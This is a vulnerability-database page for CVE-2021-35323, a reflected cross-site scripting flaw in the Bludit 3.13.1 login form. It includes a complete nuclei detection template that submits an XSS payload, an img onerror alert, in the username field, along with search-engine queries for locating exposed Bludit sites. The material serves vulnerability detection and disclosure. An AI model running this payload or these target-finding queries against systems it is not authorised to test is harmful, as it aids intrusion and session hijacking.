HexBrain

Browse / CVEs / CVE-2021-35323

CVE-2021-35323· bludit / bludit· CWE-79

Bludit 3.13.1 - Cross Site Scripting

mediumseverity
6.1CVSS score
5.1%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

Cross Site Scripting (XSS) vulnerability exists in bludit 3-13-1 via the username in admin/login

Impact

Attackers can inject malicious JavaScript via XSS in the username field, potentially stealing administrator session cookies or performing administrative actions.

Fix

Bludit v4.0.0

How to confirm it

Send: GET /bludit/admin/login ; @timeout: 10s
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "<img src=x onerror=alert(document.domain)>") && contains(body_2, "Bludit")

Run it with nuclei: nuclei -id CVE-2021-35323 -u <target>

The full check
id: CVE-2021-35323

info:
  name: Bludit 3.13.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Cross Site Scripting (XSS) vulnerability exists in bludit 3-13-1 via the username in admin/login
  impact: |
    Attackers can inject malicious JavaScript via XSS in the username field, potentially stealing administrator session cookies or performing administrative actions.
  remediation: Bludit v4.0.0
  reference:
    - https://github.com/bludit/bludit/issues/1327
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35323
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-35323
    cwe-id: CWE-79
    epss-score: 0.05091
    epss-percentile: 0.92423
    cpe: cpe:2.3:a:bludit:bludit:3.13.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: bludit
    product: bludit
    shodan-query:
      - title:"Bludit"
      - http.title:"bludit"
    fofa-query: title="bludit"
    google-query: intitle:"bludit"
  tags: cve2021,cve,bludit,xss,vuln

http:
  - raw:
      - |
        GET /bludit/admin/login HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 10s
        POST /bludit/admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tokenCSRF={{tokenCSRF}}&username=admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&password=pass&save=

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<img src=x onerror=alert(document.domain)>") && contains(body_2, "Bludit")'
        condition: and

    extractors:
      - type: regex
        name: tokenCSRF
        part: body
        group: 1
        regex:
          - 'type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from